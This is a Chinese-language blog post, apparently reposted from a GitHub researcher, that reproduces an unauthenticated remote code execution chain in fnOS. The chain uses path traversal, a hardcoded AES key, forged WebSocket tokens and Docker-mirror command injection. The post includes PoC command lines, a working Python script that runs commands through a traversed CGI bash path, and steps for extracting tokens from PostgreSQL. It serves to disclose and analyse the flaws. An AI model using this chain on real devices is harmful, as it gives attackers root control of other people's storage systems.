飞牛系统(fnOS)绕过认证远程代码执行漏洞链的复现

飞牛系统(fnOS)绕过认证远程代码执行漏洞链的复现

MoGuQAQ Lv3

本文摘自Github用户bron1e,如有需要请前往原文查看。

经过分析与验证,目前已成功复现飞牛系统(fnOS)中的一个严重远程代码执行(RCE)漏洞链。该漏洞链允许攻击者在无需任何身份验证的情况下,远程获取设备的最高管理员(root)权限,从而完全控制设备。

成功复现的攻击链由以下四个关键漏洞构成:

漏洞一:路径穿越(任意文件读取)

描述:系统的一个Web接口(/app-center-static/serviceicon/myapp/…)未能正确过滤用户输入的路径,允许攻击者读取服务器文件系统上的任意文件。
在此攻击链中的作用:用于下载一个伪装成RSA私钥、但实际内嵌了硬编码AES密钥的文件 (/usr/trim/etc/rsa_private_key.pem)。这是整个攻击的起点。

漏洞二:硬编码的加密密钥

描述:上述下载的文件中,在固定偏移量(100字节处)硬编码了一个32字节的AES主密钥(Root Key)。
在此攻击链中的作用:为攻击者提供了“万能钥匙”。这是后续伪造合法用户凭证的核心要素。

漏洞三:认证绕过(通过伪造Token)

描述:系统的WebSocket网关在验证用户身份时存在致命逻辑缺陷。它允许攻击者使用上述获取的AES主密钥,在本地凭空“创造”出一个服务器会认为是合法的临时token。
在此攻击链中的作用:攻击者利用此漏洞,无需任何用户名和密码,即可伪造出一个“已登录”的管理员身份,从而有权调用需要高权限的API接口。

漏洞四:命令注入

描述:在通过认证后,一个用于添加Docker镜像的API接口(appcgi.dockermgr.systemMirrorAdd)未能正确处理其url参数。
在此攻击链中的作用:这是最终的执行环节。攻击者将恶意系统命令(如反弹Shell或下载执行脚本)注入到url参数中,服务器在处理该请求时会无条件执行这些命令

其中任意文件读取和授权命令执行已被披露。本文主要对飞牛OS的认证绕过进行分析,并提出另一潜在命令执行路径。

一、认证绕过

1. 原理分析

1.1 登录逻辑

飞牛OS的登录逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
用户请求 (Login/ChangePassword)
|
v
[ 应用程序 ]
|
+---> 1. 验证/修改密码
| |
| +---> [ 内存缓存 passwd ]
| |
| +---> [ Linux 系统调用 (crypt/PAM/chpasswd) ] ---> [ /etc/shadow ]
| |
| +---> [ smbpasswd 命令 ] ------------------------> [ Samba 密码库 ]
|
+---> 2. 登录成功后生成
+---> [ 内存缓存 secret, token ]
|
+---> [ PostgreSQL 数据库 ] ---> 表: longtoken

授权命令执行需要拿到 secret 或者 token。但读取堆内存略微困难,因此要么读取到 longtoken 转化为 token,要么想办法利用业务漏洞。

1.2 交互逻辑

前端使用 Websocket 协议交互,登录流程如下:

1.3 Token生成逻辑

在 /usr/trim/bin/handlers/users.hdl 中的 do_login 函数中包含了 secret, token, longtoken的生成逻辑:

  • Secret (16字节):随机生成的 16 字节数据,强制将第 16 字节设置为 o

  • Token (32字节)

    • 前 16 字节 (IV):由时间戳、计时器和随机数拼接而成。

    • 后 16 字节 (Cipher):使用 RSA 密钥对 Secret 进行 AES 加密后的数据。

因此 secret 和 token 可以相互转化,这点很重要。

在 /usr/trim/bin/trim 中的 handle_websocket_packet 函数中包含了鉴权逻辑。

后端能够解析两种类型的包:

  • 加密包:不需要 secret 签名
  • 明文包:除非req白名单或者设置了no_sign,否则需要secret对请求体签名

看上去可以构造一个加密包,然后使用 longtoken 进行登录,从而绕过签名:

1
2
3
4
5
6
7
8
9
{
"req": "user.tokenLogin",
"reqid": xxx,
"token": long_token,
"deviceType": xxx,
"deviceName": xxx,
"did": xxx,
"si": xxx,
}

遗憾的是,加密包会触发token长度的判断。

不过这里存在另一个漏洞:

验签时如果存在 token 字段,则直接对 token 解密得到 secret,然后对请求体计算签名。

因此,可以自己生成 secret 和 token 绕过认证。

2. PoC

需获取系统中的 rsa_private_key.pem(通过任意文件读取漏洞获取)。

1
2
3
4
# 1. 命令执行
python poc.py -k ./rsa_private_key.pem rce
# 2. 获取会话token
python poc.py -k ./rsa_private_key.pem login -t 9XlXMOgDAABCfaZpAAAAAAluArwO5RZ2JbzjA6m9hmnjp0KtNSz/SA==

二、拓展

1. CGI路径穿越

/usr/trim/bin/trim_http_cgi 存在一个稍弱的路径穿越、命令执行。

filepath.Join并不防御路径穿越,因此能从 /var/apps_ui 穿越到 /var,并执行任意文件。但存在有一些限制:

  1. 需要合法token
  2. 由于nginx的解析问题,只能穿越一层到 /var

利用思路:需要结合认证绕过和后文提到的postgresql数据库中的longtoken,生成一个合法token,调用文件上传的API,上传一个bash到/var目录。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import sys

TARGET_IP = "192.168.108.168"
TARGET_PORT = 5666

TOKEN = "g9auUGNTfmkV7fEAVF6qTdH2kQ9CgBkEHmkUBsNvU/8="

url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi/third-party/%2e./bash"

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36",
"Authorization": f"token {TOKEN}",
"Content-Type": "application/x-www-form-urlencoded"
}

commands = "echo 1> /tmp/test.txt"

print(f"[*] Attacking: {url}")
print(f"[*] Using Token: {TOKEN[:10]}...")
print(f"[*] Command: {commands}")

try:
# 发送 POST 请求
response = requests.request("POST", url, headers=headers, data=commands, timeout=10)

print("\n[+] Status Code:", response.status_code)
print("[+] Response Body (Command Output):\n")
print("-" * 40)
print(response.text)
print("-" * 40)

except Exception as e:
print(f"[-] Error: {e}")

2. 读取postgresql数据库

PostgreSQL数据库位于 /var/lib/postgresql/*/main/base

该目录下有若干个数据库目录,通常为40000+,需要读取每个数据库下的pg_class表(固定OID为1259),然后从中获取 longtoken 表的 OID。

三、参考

  • 标题: 飞牛系统(fnOS)绕过认证远程代码执行漏洞链的复现
  • 作者: MoGuQAQ
  • 创建于 : 2026-02-02 13:20:48
  • 更新于 : 2026-02-02 13:39:31
  • 链接: https://blog.moguq.top/posts/26020201/
  • 版权声明: 本文摘自bron1e与LoopDNS频道,版权归原作者所有
评论
目录
飞牛系统(fnOS)绕过认证远程代码执行漏洞链的复现